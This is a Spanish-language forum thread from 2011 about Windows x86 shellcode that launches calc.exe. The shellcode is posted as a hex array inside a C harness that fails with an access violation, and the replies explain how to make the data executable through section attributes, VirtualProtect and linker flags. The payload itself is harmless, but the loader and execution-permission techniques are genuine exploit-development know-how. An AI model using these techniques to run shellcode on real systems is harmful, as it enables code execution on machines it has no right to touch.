Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: black_flowers en 24 Marzo 2011, 15:45 pm



Título: me da un access violation al entrar en la shellcode.
Publicado por: black_flowers en 24 Marzo 2011, 15:45 pm
tengo un codigo asm que funciona perfectamente y que he pasado a shellcode. Pero al intentarlo ejecutar como shellcode medá un access violation. La shellcode no contienenulos y como ya he dicho, ejecutada por si misma funciona perfectamente.

alguna idea de porqué puede pasar esto?

este es el programa: (y access violation lo he comprobado con olly y es justo al entrar en los opcodes de la shellcode).

Citar
#include <stdio.h>
#include <string.h>
//#include <stdafx.h>
#include <windows.h>

char code[] = "\x33\xDB\x64\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x1B\x8B\x5B\x08\x8B\xC3\x50\x8B\x34\x24\x03\x76\x3C\x8B\x56\x78\x03"
"\x14\x24\x8B\xCA\x83\xC1\x1F\x41\x8B\x19\x03\x1C\x24\x33\xC0\x8B\x3B\x03\x3C\x24\x81\x3F\x47\x65\x74\x50\x75\x1A\x81\x7F\x04\x72"
"\x6F\x63\x41\x75\x11\x81\x7F\x08\x64\x64\x72\x65\x75\x08\x66\x81\x7F\x0C\x73\x73\x74\x0A\x90\x83\xC3\x04\x40\x3B\x42\x18\x75\xCF"
"\x8B\x72\x24\x03\x34\x24\x33\xC9\x66\x8B\x0C\x46\x8B\x7A\x1C\x03\x3C\x24\x8B\x04\x8F\x03\x04\x24\x8B\x34\x24\x32\xD2\x83\xEC\x0B"
"\xC6\x45\xF8\x57\xC6\x45\xF9\x69\xC6\x45\xFA\x6E\xC6\x45\xFB\x45\xC6\x45\xFC\x78\xC6\x45\xFD\x65\xC6\x45\xFE\x63\x88\x55\xFF\x8D"
"\x4D\xF8\x51\x56\x8B\xD8\xFF\xD0\x32\xD2\x83\xEC\x11\xC6\x45\xF7\x63\xC6\x45\xF8\x61\xC6\x45\xF9\x6C\xC6\x45\xFA\x63\xC6\x45\xFB"
"\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x88\x55\xFF\x8D\x4D\xF7\x6A\x05\x51\xFF\xD0\x32\xD2\x83\xEC\x20\xC6\x45\xEE"
"\x45\xC6\x45\xEF\x78\xC6\x45\xF0\x69\xC6\x45\xF1\x74\xC6\x45\xF2\x50\xC6\x45\xF3\x72\xC6\x45\xF4\x6F\xC6\x45\xF5\x63\xC6\x45\xF6"
"\x65\xC6\x45\xF7\x73\xC6\x45\xF8\x73\x88\x55\xF9\x8D\x4D\xEE\x51\x56\xFF\xD3\x33\xC9\x51\xFF\xD0";

typedef void (*pfnc_initDevice)(void);

int main()
{
pfnc_initDevice pfnc=(pfnc_initDevice)&code[0];
pfnc();
return 0;
}


Título: Re: me da un access violation al entrar en la shellcode.
Publicado por: Garfield07 en 24 Marzo 2011, 18:09 pm
Al ensamblar la shellcode ensambla en modo elf (vamos, compila un ejecutable) y ejecuta, a ver si funciona.
Por ejemplo, al ensamblar en Linux ensambla así:
Código:
$ nasm -f elf -o shellcode.o shellcode.s
$ ld -m elf_i386 -o shellcode shellcode.o
$

Un saludo!
PD: Más datos!


Título: Re: me da un access violation al entrar en la shellcode.
Publicado por: Ivanchuk en 24 Marzo 2011, 18:48 pm
mmm creo que esta trabajando en windows, digo por el header windows.h :P.

Para mi que el problema es q no tiene permisos de ejecucion en la sección de datos, por eso cuando salta para ejecutar en char code le tira el access violation. Si es eso trata de meter char code en la sección ejecutable, fijate que te dice el compilador si declaras code asi:

Código
  1. char code[] __attribute__((section (".text"))) = ...

En linux con gcc funciona pero no se en windows.


Título: Re: me da un access violation al entrar en la shellcode.
Publicado por: black_flowers en 24 Marzo 2011, 20:48 pm
mmm creo que esta trabajando en windows, digo por el header windows.h :P.

Para mi que el problema es q no tiene permisos de ejecucion en la sección de datos, por eso cuando salta para ejecutar en char code le tira el access violation. Si es eso trata de meter char code en la sección ejecutable, fijate que te dice el compilador si declaras code asi:

Código
  1. char code[] __attribute__((section (".text"))) = ...

En linux con gcc funciona pero no se en windows.

sí, es en windows y he probado con gcc y funciona  :D
en cambio con visual c++ no , >:(, me da un montón de errores de compilación. En cualquier caso el problemaes el que tu dices de los permisos, así que será cuestión de buscar la instrucción equivalente en visual c++.

A todo esto la shellcode no haceotra cosa que lanzar la calculadora de windows y debería de funcionar en cualquier sistema.

Un saludo.


Título: Re: me da un access violation al entrar en la shellcode.
Publicado por: [Zero] en 24 Marzo 2011, 21:14 pm
Dale permisos de ejecución con VirtualProtect a ver si así funciona, si funciona luego puedes compilar de forma que te lo meta todo en la sección .text.

Saludos


Título: Re: me da un access violation al entrar en la shellcode.
Publicado por: black_flowers en 25 Marzo 2011, 23:39 pm
este es el equivalente para visual c++:

Código:
#pragma section("mycode",execute)
__declspec(allocate("mycode"))char code[] = "\x33\xDB...sigue la shellcode";


Título: Re: me da un access violation al entrar en la shellcode.
Publicado por: Иōҳ en 26 Marzo 2011, 05:55 am
Dale permisos de ejecución con VirtualProtect a ver si así funciona, si funciona luego puedes compilar de forma que te lo meta todo en la sección .text.

Saludos

en la hora del linkeo le tienes que dar permisos a la sección .text

/SECTION:.text,REW

yo uso radasm y como no se puede usar la "," se usa "|"

aqui te lo dejo si te sirve:

5,O,$B\LINK.EXE /SECTION:.text|REW /SUBSYSTEM:WINDOWS /RELEASE /VERSION:4.0 /LIBPATH:"$L" /OUT:"$5",3

Salu2!


Título: Re: me da un access violation al entrar en la shellcode.
Publicado por: Garfield07 en 26 Marzo 2011, 11:10 am
Vaya, Iván, no me había dado cuenta :P ¿Y si probases así? Es más sencillo y creo que funciona para todo ;)
Código
  1. char code[] = "\x33\xDB\x64\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x1B\x8B\x5B\x08\x8B\xC3\x50\x8B\x34\x24\x03\x76\x3C\x8B\x56\x78\x03"
  2. "\x14\x24\x8B\xCA\x83\xC1\x1F\x41\x8B\x19\x03\x1C\x24\x33\xC0\x8B\x3B\x03\x3C\x24\x81\x3F\x47\x65\x74\x50\x75\x1A\x81\x7F\x04\x72"
  3. "\x6F\x63\x41\x75\x11\x81\x7F\x08\x64\x64\x72\x65\x75\x08\x66\x81\x7F\x0C\x73\x73\x74\x0A\x90\x83\xC3\x04\x40\x3B\x42\x18\x75\xCF"
  4. "\x8B\x72\x24\x03\x34\x24\x33\xC9\x66\x8B\x0C\x46\x8B\x7A\x1C\x03\x3C\x24\x8B\x04\x8F\x03\x04\x24\x8B\x34\x24\x32\xD2\x83\xEC\x0B"
  5. "\xC6\x45\xF8\x57\xC6\x45\xF9\x69\xC6\x45\xFA\x6E\xC6\x45\xFB\x45\xC6\x45\xFC\x78\xC6\x45\xFD\x65\xC6\x45\xFE\x63\x88\x55\xFF\x8D"
  6. "\x4D\xF8\x51\x56\x8B\xD8\xFF\xD0\x32\xD2\x83\xEC\x11\xC6\x45\xF7\x63\xC6\x45\xF8\x61\xC6\x45\xF9\x6C\xC6\x45\xFA\x63\xC6\x45\xFB"
  7. "\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x88\x55\xFF\x8D\x4D\xF7\x6A\x05\x51\xFF\xD0\x32\xD2\x83\xEC\x20\xC6\x45\xEE"
  8. "\x45\xC6\x45\xEF\x78\xC6\x45\xF0\x69\xC6\x45\xF1\x74\xC6\x45\xF2\x50\xC6\x45\xF3\x72\xC6\x45\xF4\x6F\xC6\x45\xF5\x63\xC6\x45\xF6"
  9. "\x65\xC6\x45\xF7\x73\xC6\x45\xF8\x73\x88\x55\xF9\x8D\x4D\xEE\x51\x56\xFF\xD3\x33\xC9\x51\xFF\xD0";
  10.  
  11. int main(int argc, char **argv)
  12. {
  13. (*(void(*)()) code)();
  14. return 0;
  15. }
  16.  
Otro problema podría ser que la shellcode esté mal pasada a hexadecimal ;)

Un saludo!
Sagrini